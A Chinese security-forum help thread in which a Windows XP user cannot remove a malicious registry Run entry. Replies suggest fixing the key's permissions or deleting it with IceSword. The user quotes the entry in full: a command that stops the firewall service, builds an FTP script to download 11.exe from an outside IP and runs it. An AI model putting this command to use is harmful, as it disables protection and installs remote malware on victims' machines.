瑞星卡卡安全论坛

我用的是XPSP3系统，注册表能打开。但修改，删除里面的值提示出错就不能删不能修改了。要怎么做呢？

用户系统信息：Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQDownload 661; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

注册表被锁的话，你连注册表编辑器窗口都进不了……

对哪个注册表键值进行了删除操作？删除前的数据是啥？提示出错的内容是啥？

HKEY_LOCAL_MACHINE\Software\microsoft\Windows\CurrentVersion\Run\shell
类型：REG_SZ值：c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 222.186.25.29> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get 11.exe>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&11.exe&11.exe&del cmd.txt /q /f&e
删除提示：无法删除所有指定的值
修改提示：无法编辑shell：写该值的新内容时出错

查看一下shell项的权限，如没有权限，手动添加权限后再删除或编辑。

也可考虑用冰刃1.22直接删除【HKEY_LOCAL_MACHINE\Software\microsoft\Windows\CurrentVersion\Run\shell】这个注册表子项（删除前注意导出此子项，即做个.reg的文件备份）。

当然，冰刃只支持XP，不支持VISTA、WIN7操作系统。